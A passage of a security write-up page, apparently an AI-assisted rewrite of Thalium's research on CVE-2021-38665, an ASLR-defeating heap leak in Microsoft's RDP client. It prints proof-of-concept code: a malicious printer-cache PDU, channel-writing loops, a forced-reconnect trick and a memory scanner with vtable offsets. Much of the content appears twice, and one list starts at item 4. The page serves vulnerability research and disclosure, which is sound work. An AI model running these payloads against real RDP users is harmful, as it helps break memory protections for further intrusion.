Skip to content
Info disclosure Write-up Advanced

Remote ASLR Leak in Microsoft's RDP Client through Printer Cache Registry (CVE-2021-38665)

The Microsoft RDP client's printer cache handling accepts a non-null-terminated printer name from the server and writes it into a registry key, causing an out-of-bounds read that leaks heap memory including vtable pointers. An attacker controlling an RDP server can leak the client's ASLR base address and retrieve it by forcing a reconnect.

Valentino Ricotta Follow

Published on thalium.github.io

Bounty$1,000 View original

This is the second installment in my three-part series of articles on fuzzing Microsoft’s RDP client. I will explain a bug I found by fuzzing the printer sub-protocol, and how I exploited it.

Thalium Team, on thalium.github.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

## Context

This is the second article in a three-part series on fuzzing Microsoft's RDP client. The target is Microsoft's official Remote Desktop Protocol client on Windows 10. The executable is `mstsc.exe` in system32, but most of the client logic lives in `mstscax.dll`.

RDP uses an abstraction called virtual channels, a layer for transporting data. For example, `RDPSND` carries audio redirection and `CLIPRDR` carries clipboard synchronisation. Each channel follows its own protocol, and Microsoft publishes specifications for many of them. Virtual channels are a large attack surface and a good entry point for fuzzing.

The channel at the centre of this bug is `RDPDR`, the static virtual channel whose purpose is to redirect access from the server to the client file system. It also hosts several sub-extensions: the smart card extension, the printing extension, and the serial and parallel ports extension. `RDPDR` is one of the few channels opened by default, alongside `RDPSND`, `CLIPRDR` and `DRDYNVC`, which makes it more interesting from a risk perspective.

The vulnerability is CVE-2021-38665, rated CVSS 7.4 (Important) and classified by Microsoft as an Information Disclosure. It lets a malicious RDP server leak heap memory from the client into the client's own registry, and then receive that leak back over the channel, breaking ASLR of `mstscax.dll`.

## Setup

The researcher was an intern at Thalium, studying and reverse engineering Microsoft RDP. The work used a modified version of WinAFL with a network-level harness, fuzzing the virtual channels of the Microsoft RDP client. Microsoft's documentation for `RDPDR` (MS-RDPEFS) contains the PDU types, their structures and dozens of example PDUs, which served as seeds for the fuzzer. The printer subprotocol is documented separately in MS-RDPEPC.

Two test environments are named: Windows 10 20H2 / 10.0.19041.844 and Windows 10 Insider Build / 10.0.21354.1. Procmon was used to observe registry activity. The proof of concept is compiled with clang and run as SYSTEM:

```c
/*
Compilation: clang poc.c -o poc.exe -l wsock32 -l wtsapi32 -l advapi32
Run as SYSTEM.
*/
```

## Finding it

While fuzzing `RDPDR`, the researcher's own RDP client broke. Not a one-off crash: every time the client started, it consumed an enormous amount of memory until it hung the whole system. Rebooting and clearing the RDP cache did not help.

Procmon showed that an unusually large proportion of the operations performed by the client at startup were registry operations. The client kept iterating on keys inside `HKCU\Software\Microsoft\Terminal Server Client\Default\AddIns\RDPDR`, and the more keys there were, the worse the memory consumption became. Because the bug is persistent, it entirely prevents the user from using RDP again unless they specifically know how to delete the correct keys.


{{media:0}}


The garbage keys in the registry turned out to be WinAFL mutations, interpreted as UTF-16, which explains the many garbage Chinese characters. So the server could pollute that registry location with arbitrary subkey names.

Looking for references to registry operations in `mstscax.dll` and correlating them with the printer subprotocol specification led to the PDU type "Add Printer Cachedata" (`DR_PRN_ADD_CACHEDATA`), which is responsible for creating these keys.


{{media:1}}


Reversing showed that the server fully controls the key name (`PrinterName`) and, to a certain extent, the contents. The relevant function is `W32DrPRN::AddPrinterCacheInfo`:

```cpp
__int64 W32DrPRN::AddPrinterCacheInfo(DR_PRN_ADD_CACHEDATA * PduBody, unsigned int PduBodyLength)
{
  DWORD dwDisposition;
  HKEY phkResult, hKey;

  // ...
  // W32DrPRN::_maxCacheDataSize = 500000 bytes
  if (PduBodyLength < 0x18 ||
      PduBody->PrintNameLen == 0 ||
      PduBody->PnPNameLen > W32DrPRN::_maxCacheDataSize ||
      PduBody->DriverNameLen > W32DrPRN::_maxCacheDataSize ||
      PduBody->PrintNameLen > W32DrPRN::_maxCacheDataSize ||
      PduBody->CachedFieldsLen > W32DrPRN::_maxCacheDataSize) {
    // Error
  }

  unsigned int TotalLen = 24 + PduBody->PnPNameLen + PduBody->DriverNameLen + PduBody->PrintNameLen + PduBody->CachedFieldsLen;

  if (TotalLen > PduBodyLength) { /* Error */ }
  if (TotalLen > W32DrPRN::_maxCacheDataSize) { /* Error */ }

  const WCHAR * PrinterName = (const WCHAR *)((char *)PduBody + 24 + PduBody->PnPNameLen + PduBody->DriverNameLen);

  RegCreateKeyExW(
    HKEY_CURRENT_USER,
    L"Software\\Microsoft\\Terminal Server Client\\Default\\AddIns\\RDPDR",
    0,
    0,
    0,
    0xF003F,
    0,
    &hKey,
    &dwDisposition
  );

  RegCreateKeyExW(hKey, PrinterName, 0, 0, 0, 0xF003F, 0, &phkResult, &dwDisposition);

  RegSetValueExW(phkResult, L"PrinterCacheData", 0, 3, (const BYTE *)PduBody, TotalLen);

  // ...
}
```

Creating a subkey with an arbitrary name is not much of a primitive on its own: there is no path traversal, for instance. But some key names in the registry looked longer than usual, which suggested a length management issue. The researcher could not find a way to control the size of an out-of-bounds access through the length fields, neither in this PDU type nor in others such as Update Printer Cachedata or Rename Printer Cachedata.

The bug instead comes from the server being able to send a non-null-terminated wide string as `PrinterName`. It is passed naively to the second `RegCreateKeyExW`, which creates the key assuming the name stops at the first wide null byte, that is, two consecutive null bytes.

## Exploitation

### Step 1: send a non-terminated PrinterName

A malicious `DR_PRN_ADD_CACHEDATA` PDU triggers the bug:

```c
char leak_heap[] = {
  // DR_PRN_ADD_CACHEDATA
  0x52, 0x50, 0x43, 0x50,                         // Header
  0x01, 0x00, 0x00, 0x00,                         // EventId
  0x43, 0x4f, 0x4d, 0x32, 0x00, 0x00, 0x3a, 0x00, // PortDosName
  0x00, 0x00, 0x00, 0x00,                         // PnpNameLen
  0x2a, 0x00, 0x00, 0x00,                         // DriverNameLen
  0x2a, 0x00, 0x00, 0x00,                         // PrintNameLen
  0x00, 0x00, 0x00, 0x00,                         // CachedFieldsLen
  // DriverName
  0x42, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x74,
  0x00, 0x68, 0x00, 0x65, 0x00, 0x72, 0x00,
  0x20, 0x00, 0x44, 0x00, 0x43, 0x00, 0x50,
  0x00, 0x2d, 0x00, 0x31, 0x00, 0x30, 0x00,
  0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x55,
  0x00, 0x53, 0x00, 0x42, 0x00, 0x00, 0x00,
  // PrinterName
  0x42, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x74,
  0x00, 0x68, 0x00, 0x65, 0x00, 0x72, 0x00,
  0x20, 0x00, 0x44, 0x00, 0x43, 0x00, 0x50,
  0x00, 0x2d, 0x00, 0x31, 0x00, 0x30, 0x00,
  0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x55,
  0x00, 0x53, 0x00, 0x42, 0x00, 0x20, 0x00,
  0x61, 0x62, 0x63, 0x64
};
```

The important detail is that the `PrinterName` field never contains `0x00 0x00`. The driver name ends with a null terminator, but the printer name ends with `abcd` and no terminator.

When the client receives this PDU from the server on the `RDPDR` channel, it enters `W32DrPRN::ProcessPrinterCacheInfo` and the message is dispatched to `W32DrPRN::AddPrinterCacheInfo`.


{{media:2}}


### Step 2: the client copies heap into the key name

Right before the second call to `RegCreateKeyExW`, the memory at `PrinterName` looks like this:


{{media:3}}


There is extra data after the `"abcd"` that ends both the printer name and the PDU. When this buffer (`0x000001352d6ebe6a`) is passed to `RegCreateKeyExW`, it is copied until the first double null byte. In this case that happens right after an address leak (`0x7ffbc16092d8`).


{{media:4}}


The registry confirms it. Copying the key name and encoding it as UTF-16 little endian gives:

```python
>>> "Brother DCP-1000 USB 扡摣⢍透䀀退鋘�
�翻".encode('utf-16le').hex()
'[redacted]'
```

The address leak sits right at the end of the encoded name. Tests on Windows 10 20H2 / 10.0.19041.844 and Windows 10 Insider Build / 10.0.21354.1 showed that most of the time a few addresses of this kind could be leaked. They are specific vtable pointers in `mstscax.dll`, which allows retrieving its base address. A heap spray, for instance opening and closing many dummy dynamic channels, is suggested as another way to influence what gets leaked, since dynamic channel managers allocated and freed on the heap contain vtable function pointers.

### Step 3: get the leak back to the server

The leak is useless while it stays on the client. The client is supposed to send a Client Device List Announce Request to the server upon initialisation of the `RDPDR` virtual channel.


{{media:5}}


So if the victim reconnects to the server, the client iterates over the registry keys that were tampered with and sends them to the server, leaks included. This can be confirmed by setting a breakpoint on `VCManager::ChannelWriteEx` inside `W32ProcObj::PostLogonAnnounceDevicesToServerFunc` and observing that the client does write the leaks to the channel.

Two things remain: waiting for the client to reconnect, and reading from the virtual channel on the server side. Waiting for a manual reconnect is unsatisfactory because it is better if the victim does not have to act, and because the victim may shut down their computer after the session, making the ASLR leak irrelevant if they reconnect later.

### Step 4: force a reconnect

While fuzzing other channels, the researcher noticed that sending garbage to the dynamic channel `Microsoft::Windows::RDS::Graphics`, which transports bitmap data, makes the client show a pop-up window and automatically reconnect.


{{media:6}}


It is not subtle or furtive, but it works for a proof of concept. After the client sends the leak, many "Delete Printer Cachedata" PDUs (`DR_PRN_DELETE_CACHEDATA`) could be sent to delete the leaky keys from the client registry, cleaning up traces of the attack and making it stealthier. The proof of concept does not do this, because it requires more effort.

The attack scheme is:

1. Send a malicious `DR_PRN_ADD_CACHEDATA` message to the client
2. The client leaks some heap in a registry key name
3. Optionally repeat 1-2 as many times as wanted to increase the probability of leaking interesting data
4. Trick the client into reconnecting by corrupting the `Graphics` dynamic channel
5. Receive the leaks upon initialisation of the `RDPDR` channel
6. Optionally send `DR_PRN_DELETE_CACHEDATA` PDUs to clean up the client's registry

### Step 5: write to the channels with WTSAPI32

Microsoft's WTSAPI32 API opens a virtual channel over an RDP session and reads from or writes to it. A channel, static or dynamic, is opened like this:

```cpp
HANDLE virtual_channel = WTSVirtualChannelOpenEx(
  WTS_CURRENT_SESSION,
  channel_name,
  is_dynamic ? WTS_CHANNEL_OPTION_DYNAMIC : 0
);
```

Writing to the handle:

```cpp
WTSVirtualChannelWrite(
  virtual_channel,
  buffer,
  (unsigned long)length,
  &bytes_written
);
```

The malicious PDU is written repeatedly to raise the probability of leaking something useful:

```cpp
for (int k = 0; k < 32; k++)
{
  write_to_virtual_channel(leak_heap, sizeof(leak_heap));
  Sleep(200);
}
```

At this point the client's registry should be filled with memory leaks. Next, garbage is sent to the `Graphics` dynamic channel to force a reconnect:

```cpp
connect_to_virtual_channel("Microsoft::Windows::RDS::Graphics", DYNAMIC_CHANNEL);
write_to_virtual_channel("fuzzed up beyond all repair", 27);
close_virtual_channel();

// Wait for the client to reconnect
Sleep(20000);
```

This behaviour is a bit random: sometimes the client reconnects automatically, sometimes it returns to the connection window without restarting the process and the user has to click "Connect" again. The researcher notes there are probably better ways to achieve this, and that the sleep could be replaced by monitoring when the client actually reconnects.

### Step 6: retrieve the leak from server memory

Reading the leak was the hard part. `WTSVirtualChannelRead` cannot simply be used, because reading from a virtual channel requires a handle obtained by opening it. The PDU is sent upon the first initialisation of the `RDPDR` channel, which happens very early when the client connects, so a race would be needed to open and read the channel right after the client connects and sends the packet, but before the real server connects to the channel and handles it. The researcher was not sure how that would work and looked for another way.

Possible solutions considered were a custom RDP server implementation, intercepting packets at the network level (which requires decoding the whole RDP stack with its several layers of encryption, described as a hassle), or hooking the server-side handler for the channel to log the PDU contents.

The chosen approach was to scan the RDP server's svchost memory for the client's PDU. It may be overkill, but it works. The proof of concept finds the TermService svchost PID, scans memory with `VirtualQueryEx` and `ReadProcessMemory`, and looks for a known crib such as the wide string `Brother`, the beginning of the `PrinterName`. Recognising known vtable offsets then allows calculating the base address of `mstscax.dll`.


{{media:7}}


The vtable offsets used for the two builds are:

```c
const unsigned int vtable_offsets[] = {
    // 10.0.19041.844
    0x5c88e0, // const CTSMsg::`vftable`
    0x5c92d8, // const CMemory::`vftable`{for `CImplIUknown<struct IUnknown>`}
    // 10.0.21354.1
    0x62c048, // const CFileRedirector::`vftable'{for `INonDelegatingUnknown'}
    0x62c1b8, // const CTSSyncWaitResult::`vftable'{for `INonDelegatingUnknown'}
    0x62c238, // const CTSMsg::`vftable'{for `CTSObject'}
    0x62dc20, // const CTSPooledUnknown::`vftable'{for `INonDelegatingUnknown'}
    0x62de48  // const CMemory::`vftable'{for `CImplIUnknown<struct IUnknown>`}
};
```

The scanning loop walks the committed, readable regions of the TermService process and compares each position against the wide string `Brother`, then checks for a pointer-shaped value ending in `0x7f`:

```c
for (unsigned char *p = NULL; VirtualQueryEx(hProcess, p, &info, sizeof(info)); p += info.RegionSize)
{
    if (info.State == MEM_COMMIT && info.Protect != PAGE_NOACCESS && info.Protect != PAGE_GUARD)
    {
        buffer = malloc(info.RegionSize);
        ReadProcessMemory(hProcess, info.BaseAddress, buffer, info.RegionSize, &bytesRead);
        for (int i = 0; i < bytesRead; i++)
        {
            leak = (BYTE *)buffer + i;
            if (!memcmp((char *)leak, (char *)L"Brother", 14))
            {
                for (int j = 0; j < 256; j++)
                {
                    if (leak[j + 7] == 0 && leak[j + 6] == 0 && leak[j + 5] == 0x7f)
                    {
                        printf("[+] Found address leak! 0x%p\n", *((char **)(leak + j)));
                        for (int k = 0; k < sizeof(vtable_offsets) / sizeof(vtable_offsets[0]); k++)
                        {
                            if (((*((unsigned long long *)(leak + j))) & 0xFFFF) == (vtable_offsets[k] & 0xFFFF))
                            {
                                printf("[+] -> Potential base address for mstscax.dll: 0x%p\n", *((char **)(leak + j)) - vtable_offsets[k]);
                            }
                        }
                        // hexdump((char *)leak, 256);
                    }
                }
            }
        }
        free(buffer);
    }
}
```

Matching the low 16 bits of the leaked pointer against the low 16 bits of a known vtable offset and subtracting the offset yields a candidate base address for `mstscax.dll`.

## Root cause

The core of the bug is missing null bytes causing an out-of-bounds read. The server can send a `PrinterName` that is not null-terminated, and the client passes the pointer to `RegCreateKeyExW` without ensuring termination. The API copies the string until it meets two consecutive null bytes, reading past the end of the PDU buffer into adjacent heap memory, and the copied bytes become the registry key name. The length checks in `AddPrinterCacheInfo` bound the declared lengths and the total PDU length, but they do not require the printer name to be terminated, so a well-formed PDU with a non-terminated name passes validation. The leaked bytes are then stored persistently in the client's registry, and the protocol's own device announcement mechanism carries them back to the server.

## Impact

A malicious or compromised RDP server can leak heap memory from a connecting client and break ASLR of `mstscax.dll`, which is a building block for further exploitation rather than an exploit on its own. The leak is persistent: the garbage keys stay in `HKCU\Software\Microsoft\Terminal Server Client\Default\AddIns\RDPDR`, and in the researcher's own case the accumulated keys made the client consume so much memory at startup that it hung the system, with no reboot or cache clear helping. The attack requires the victim to connect to the malicious server, and the reconnect step is not fully reliable: sometimes the client reconnects automatically, sometimes the user has to click "Connect" again. Microsoft assessed the issue as Information Disclosure with Important severity and awarded a $1,000 bounty.

## Fix

Microsoft released the security patch on 2021-11-09. The report does not describe the code change itself.

## Variants to test

The same pattern is worth trying wherever a server-controlled string from a virtual channel reaches a Windows API that assumes null termination.

1. Other printer cache PDUs. Send Update Printer Cachedata and Rename Printer Cachedata with a non-terminated name field. A positive result is a registry key whose name extends past the supplied bytes into heap data.
2. Other `RDPDR` sub-extensions. The smart card, serial and parallel port sub-extensions parse server data with their own structures; look for string fields passed to registry, file or display APIs without a terminator. A positive result is a key, file name or window title containing bytes that were never sent.
3. Other default channels. `RDPSND`, `CLIPRDR` and `DRDYNVC` are opened by default; fuzz their string fields for the same missing-terminator pattern. A positive result is any client-side artefact (registry key, file, log line) containing heap pointers.
4. Other Windows APIs with implicit termination. Trace server-controlled buffers into functions such as `RegSetValueExW`, `CreateFileW` or `SetWindowTextW` and check whether the length is enforced before the call. A positive result is an out-of-bounds read visible in a debugger at the call site.
5. Reconnect tricks. Try other dynamic channels with garbage input to see which ones force an automatic reconnect, since a reliable reconnect makes the leak retrieval deterministic. A positive result is an automatic reconnection without user interaction.
6. Cleanup PDUs. Verify that `DR_PRN_DELETE_CACHEDATA` removes the keys created by the attack, which would make the technique stealthier. A positive result is the disappearance of the leaky keys after the PDUs are sent.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

## What happened, in plain words

Microsoft makes a program called Remote Desktop, which lets you see and control another computer over the internet, as if you were sitting in front of it. The program on your side is called the *client*; the computer you connect to runs the *server*. Normally, when people look for security bugs in Remote Desktop, they look at the server, because that is the machine that holds the valuable data. This article is about the opposite direction: a bug in the *client*, which means a bad server can attack the person who connects to it.

The researcher found that a malicious server can make the client write a piece of the client's own memory into the client's own settings store (the Windows *registry*), and then, when the client reconnects, the client politely sends that piece of memory back to the server. That piece of memory contains an address inside a Windows library, and knowing an address defeats a protection called *ASLR*, which normally makes such addresses unpredictable. This is not a full break-in on its own, but it is a building block that other attacks need. Microsoft rated it *Information Disclosure* with *Important* severity, gave it the identifier CVE-2021-38665, and paid a $1,000 bounty.

This is the second article in a three-part series on fuzzing Microsoft's Remote Desktop client. The target is Microsoft's official Remote Desktop Protocol client on Windows 10. The executable is `mstsc.exe` in system32, but most of the client logic lives in `mstscax.dll`.

Remote Desktop Protocol, or RDP, uses an abstraction called *virtual channels*, a layer for transporting data. Think of virtual channels like separate pipes running inside the same connection: one pipe carries sound, another carries the clipboard, another carries files. For example, `RDPSND` carries audio redirection and `CLIPRDR` carries clipboard synchronisation. Each channel follows its own protocol, and Microsoft publishes specifications for many of them. Virtual channels are a large attack surface and a good entry point for fuzzing.

The channel at the centre of this bug is `RDPDR`, the static virtual channel whose purpose is to redirect access from the server to the client file system. It also hosts several sub-extensions: the smart card extension, the printing extension, and the serial and parallel ports extension. `RDPDR` is one of the few channels opened by default, alongside `RDPSND`, `CLIPRDR` and `DRDYNVC`, which makes it more interesting from a risk perspective: a malicious server does not need the victim to enable anything.

The vulnerability is CVE-2021-38665, rated CVSS 7.4 (Important) and classified by Microsoft as an Information Disclosure. It lets a malicious RDP server leak heap memory from the client into the client's own registry, and then receive that leak back over the channel, breaking ASLR of `mstscax.dll`.

## Setup

The researcher was an intern at Thalium, studying and reverse engineering Microsoft RDP. The work used a modified version of WinAFL with a network-level harness, fuzzing the virtual channels of the Microsoft RDP client. Microsoft's documentation for `RDPDR` (MS-RDPEFS) contains the PDU types, their structures and dozens of example PDUs, which served as seeds for the fuzzer. The printer subprotocol is documented separately in MS-RDPEPC.

Two test environments are named: Windows 10 20H2 / 10.0.19041.844 and Windows 10 Insider Build / 10.0.21354.1. Procmon was used to observe registry activity. The proof of concept is compiled with clang and run as SYSTEM:

```c
/*
Compilation: clang poc.c -o poc.exe -l wsock32 -l wtsapi32 -l advapi32
Run as SYSTEM.
*/
```

This is a comment at the top of the source file, not code that runs. It records two practical facts for anyone rebuilding the tool. The first line is the command used to compile the program: `clang` is a C compiler, `poc.c` is the source file, `-o poc.exe` names the output program, and the three `-l` flags tell the compiler to link three Windows libraries (`wsock32`, `wtsapi32`, `advapi32`) that the program calls into. The second line says the program must be run as SYSTEM, the most privileged built-in Windows account.

## Finding it

While fuzzing `RDPDR`, the researcher's own RDP client broke. Not a one-off crash: every time the client started, it consumed an enormous amount of memory until it hung the whole system. Rebooting and clearing the RDP cache did not help.

Procmon showed that an unusually large proportion of the operations performed by the client at startup were registry operations. The client kept iterating on keys inside `HKCU\Software\Microsoft\Terminal Server Client\Default\AddIns\RDPDR`, and the more keys there were, the worse the memory consumption became. Because the bug is persistent, it entirely prevents the user from using RDP again unless they specifically know how to delete the correct keys.


{{media:0}}


The garbage keys in the registry turned out to be WinAFL mutations, interpreted as UTF-16, which explains the many garbage Chinese characters. So the server could pollute that registry location with arbitrary subkey names.

Looking for references to registry operations in `mstscax.dll` and correlating them with the printer subprotocol specification led to the PDU type "Add Printer Cachedata" (`DR_PRN_ADD_CACHEDATA`), which is responsible for creating these keys.


{{media:1}}


Reversing showed that the server fully controls the key name (`PrinterName`) and, to a certain extent, the contents. The relevant function is `W32DrPRN::AddPrinterCacheInfo`:

```cpp
__int64 W32DrPRN::AddPrinterCacheInfo(DR_PRN_ADD_CACHEDATA * PduBody, unsigned int PduBodyLength)
{
  DWORD dwDisposition;
  HKEY phkResult, hKey;

  // ...
  // W32DrPRN::_maxCacheDataSize = 500000 bytes
  if (PduBodyLength < 0x18 ||
      PduBody->PrintNameLen == 0 ||
      PduBody->PnPNameLen > W32DrPRN::_maxCacheDataSize ||
      PduBody->DriverNameLen > W32DrPRN::_maxCacheDataSize ||
      PduBody->PrintNameLen > W32DrPRN::_maxCacheDataSize ||
      PduBody->CachedFieldsLen > W32DrPRN::_maxCacheDataSize) {
    // Error
  }

  unsigned int TotalLen = 24 + PduBody->PnPNameLen + PduBody->DriverNameLen + PduBody->PrintNameLen + PduBody->CachedFieldsLen;

  if (TotalLen > PduBodyLength) { /* Error */ }
  if (TotalLen > W32DrPRN::_maxCacheDataSize) { /* Error */ }

  const WCHAR * PrinterName = (const WCHAR *)((char *)PduBody + 24 + PduBody->PnPNameLen + PduBody->DriverNameLen);

  RegCreateKeyExW(
    HKEY_CURRENT_USER,
    L"Software\\Microsoft\\Terminal Server Client\\Default\\AddIns\\RDPDR",
    0,
    0,
    0,
    0xF003F,
    0,
    &hKey,
    &dwDisposition
  );

  RegCreateKeyExW(hKey, PrinterName, 0, 0, 0, 0xF003F, 0, &phkResult, &dwDisposition);

  RegSetValueExW(phkResult, L"PrinterCacheData", 0, 3, (const BYTE *)PduBody, TotalLen);

  // ...
}
```

This is a decompiled view of a function inside the client, meaning it is the C-like form a reverse-engineering tool produces from compiled machine code. Line by line:

1. The function receives a pointer to the message body (`PduBody`) and its length (`PduBodyLength`). A *PDU* is simply a message in a network protocol: a structured packet with fields.
2. Two local variables are declared: `dwDisposition` will say whether a registry key was newly created or already existed, and `phkResult` and `hKey` will hold handles to registry keys. A *handle* is a number the operating system gives you to refer to an object you have opened, like a claim ticket at a cloakroom.
3. The comment records that the maximum accepted cache data size is 500000 bytes.
4. The `if` block rejects the message if the total length is under `0x18` (24 in decimal), if the printer name length is zero, or if any of the four declared lengths exceeds the 500000-byte maximum. `0x` means the number is written in hexadecimal, base 16.
5. `TotalLen` adds up the fixed 24-byte header plus the four declared field lengths.
6. Two more checks reject the message if the computed total is larger than the bytes actually received, or larger than the maximum.
7. `PrinterName` is a pointer computed by skipping the 24-byte header, then the PnP name, then the driver name. In other words, it points at the printer name inside the received buffer. `WCHAR` means a wide character, two bytes each on Windows.
8. The first `RegCreateKeyExW` opens or creates the fixed registry path under `HKEY_CURRENT_USER`, the current user's settings. The `0xF003F` value is the set of access rights requested.
9. The second `RegCreateKeyExW` creates a subkey whose name is whatever `PrinterName` points at. This is the interesting call.
10. `RegSetValueExW` stores the whole message as a value named `PrinterCacheData` inside that key.

Creating a subkey with an arbitrary name is not much of a primitive on its own: there is no path traversal, for instance. But some key names in the registry looked longer than usual, which suggested a length management issue. The researcher could not find a way to control the size of an out-of-bounds access through the length fields, neither in this PDU type nor in others such as Update Printer Cachedata or Rename Printer Cachedata.

The bug instead comes from the server being able to send a non-null-terminated wide string as `PrinterName`. It is passed naively to the second `RegCreateKeyExW`, which creates the key assuming the name stops at the first wide null byte, that is, two consecutive null bytes.

## Exploitation

### Step 1: send a non-terminated PrinterName

A malicious `DR_PRN_ADD_CACHEDATA` PDU triggers the bug:

```c
char leak_heap[] = {
  // DR_PRN_ADD_CACHEDATA
  0x52, 0x50, 0x43, 0x50,                         // Header
  0x01, 0x00, 0x00, 0x00,                         // EventId
  0x43, 0x4f, 0x4d, 0x32, 0x00, 0x00, 0x3a, 0x00, // PortDosName
  0x00, 0x00, 0x00, 0x00,                         // PnpNameLen
  0x2a, 0x00, 0x00, 0x00,                         // DriverNameLen
  0x2a, 0x00, 0x00, 0x00,                         // PrintNameLen
  0x00, 0x00, 0x00, 0x00,                         // CachedFieldsLen
  // DriverName
  0x42, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x74,
  0x00, 0x68, 0x00, 0x65, 0x00, 0x72, 0x00,
  0x20, 0x00, 0x44, 0x00, 0x43, 0x00, 0x50,
  0x00, 0x2d, 0x00, 0x31, 0x00, 0x30, 0x00,
  0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x55,
  0x00, 0x53, 0x00, 0x42, 0x00, 0x00, 0x00,
  // PrinterName
  0x42, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x74,
  0x00, 0x68, 0x00, 0x65, 0x00, 0x72, 0x00,
  0x20, 0x00, 0x44, 0x00, 0x43, 0x00, 0x50,
  0x00, 0x2d, 0x00, 0x31, 0x00, 0x30, 0x00,
  0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x55,
  0x00, 0x53, 0x00, 0x42, 0x00, 0x20, 0x00,
  0x61, 0x62, 0x63, 0x64
};
```

This is a byte array, a list of raw bytes that will be sent over the network exactly as written. Each `0x..` is one byte in hexadecimal. The comments divide it into sections:

4. Four length fields, each four bytes: `PnpNameLen` is 0, `DriverNameLen` is `0x2a` (42), `PrintNameLen` is `0x2a` (42), `CachedFieldsLen` is 0.
5. `DriverName`: 42 bytes of UTF-16LE text. UTF-16LE stores each character in two bytes, the low byte first, so `0x42 0x00` is the letter `B`. Reading the pairs gives `Brother DCP-1000 USB`, followed by `0x00 0x00`, a null terminator.
6. `PrinterName`: another 42 bytes of UTF-16LE text, `Brother DCP-1000 USB abcd`, but this time there is no `0x00 0x00` at the end.

The important detail is that the `PrinterName` field never contains `0x00 0x00`. The header, event ID, port name and the four length fields are followed by the driver name and the printer name, both UTF-16LE. The driver name ends with a null terminator, but the printer name ends with `abcd` and no terminator.

When the client receives this PDU from the server on the `RDPDR` channel, it enters `W32DrPRN::ProcessPrinterCacheInfo` and the message is dispatched to `W32DrPRN::AddPrinterCacheInfo`.


{{media:2}}


### Step 2: the client copies heap into the key name

Right before the second call to `RegCreateKeyExW`, the memory at `PrinterName` looks like this:


{{media:3}}


There is extra data after the `"abcd"` that ends both the printer name and the PDU. When this buffer (`0x000001352d6ebe6a`) is passed to `RegCreateKeyExW`, it is copied until the first double null byte. In this case that happens right after an address leak (`0x7ffbc16092d8`).


{{media:4}}


The registry confirms it. Copying the key name and encoding it as UTF-16 little endian gives:

```python
>>> "Brother DCP-1000 USB 扡摣⢍透䀀退鋘�
�翻".encode('utf-16le').hex()
'[redacted]'
```

This is a Python interactive session. The `>>>` marks the line typed by the user. The string in quotes is the registry key name as it appeared, including the odd-looking characters that are really raw bytes being displayed as text. `.encode('utf-16le')` turns the string into bytes using UTF-16 little endian, and `.hex()` prints those bytes as hexadecimal.

The address leak sits right at the end of the encoded name. Tests on Windows 10 20H2 / 10.0.19041.844 and Windows 10 Insider Build / 10.0.21354.1 showed that most of the time a few addresses of this kind could be leaked. They are specific vtable pointers in `mstscax.dll`, which allows retrieving its base address. A heap spray, for instance opening and closing many dummy dynamic channels, is suggested as another way to influence what gets leaked, since dynamic channel managers allocated and freed on the heap contain vtable function pointers.

### Step 3: get the leak back to the server

The leak is useless while it stays on the client. The client is supposed to send a Client Device List Announce Request to the server upon initialisation of the `RDPDR` virtual channel.


{{media:5}}


So if the victim reconnects to the server, the client iterates over the registry keys that were tampered with and sends them to the server, leaks included. This can be confirmed by setting a breakpoint on `VCManager::ChannelWriteEx` inside `W32ProcObj::PostLogonAnnounceDevicesToServerFunc` and observing that the client does write the leaks to the channel.

Two things remain: waiting for the client to reconnect, and reading from the virtual channel on the server side. Waiting for a manual reconnect is unsatisfactory because it is better if the victim does not have to act, and because the victim may shut down their computer after the session, making the ASLR leak irrelevant if they reconnect later.

### Step 4: force a reconnect

While fuzzing other channels, the researcher noticed that sending garbage to the dynamic channel `Microsoft::Windows::RDS::Graphics`, which transports bitmap data, makes the client show a pop-up window and automatically reconnect.


{{media:6}}


It is not subtle or furtive, but it works for a proof of concept. After the client sends the leak, many "Delete Printer Cachedata" PDUs (`DR_PRN_DELETE_CACHEDATA`) could be sent to delete the leaky keys from the client registry, cleaning up traces of the attack and making it stealthier. The proof of concept does not do this, because it requires more effort.

The attack scheme is:

1. Send a malicious `DR_PRN_ADD_CACHEDATA` message to the client
2. The client leaks some heap in a registry key name
3. Optionally repeat 1-2 as many times as wanted to increase the probability of leaking interesting data
4. Trick the client into reconnecting by corrupting the `Graphics` dynamic channel
5. Receive the leaks upon initialisation of the `RDPDR` channel
6. Optionally send `DR_PRN_DELETE_CACHEDATA` PDUs to clean up the client's registry

### Step 5: write to the channels with WTSAPI32

Microsoft's WTSAPI32 API opens a virtual channel over an RDP session and reads from or writes to it. An *API* is a set of functions an operating system offers to programs, like a service counter you can walk up to instead of building the service yourself. A channel, static or dynamic, is opened like this:

```cpp
HANDLE virtual_channel = WTSVirtualChannelOpenEx(
  WTS_CURRENT_SESSION,
  channel_name,
  is_dynamic ? WTS_CHANNEL_OPTION_DYNAMIC : 0
);
```

This calls the function `WTSVirtualChannelOpenEx` and stores the result in `virtual_channel`. The result is a handle, the claim ticket mentioned earlier. The first argument, `WTS_CURRENT_SESSION`, says to use the current Remote Desktop session. The second is the channel name, such as `rdpdr`. The third is a flag: if `is_dynamic` is true, the expression `is_dynamic ? WTS_CHANNEL_OPTION_DYNAMIC : 0` evaluates to the dynamic-channel option, otherwise to 0, meaning a static channel. The `? :` form is a compact if-then-else.

Writing to the handle:

```cpp
WTSVirtualChannelWrite(
  virtual_channel,
  buffer,
  (unsigned long)length,
  &bytes_written
);
```

This sends data into the channel. The arguments are the channel handle, a pointer to the bytes to send, how many bytes to send, and the address of a variable where the function will store how many bytes were actually written. The `&` means "address of", so the function can fill that variable in.

The malicious PDU is written repeatedly to raise the probability of leaking something useful:

```cpp
for (int k = 0; k < 32; k++)
{
  write_to_virtual_channel(leak_heap, sizeof(leak_heap));
  Sleep(200);
}
```

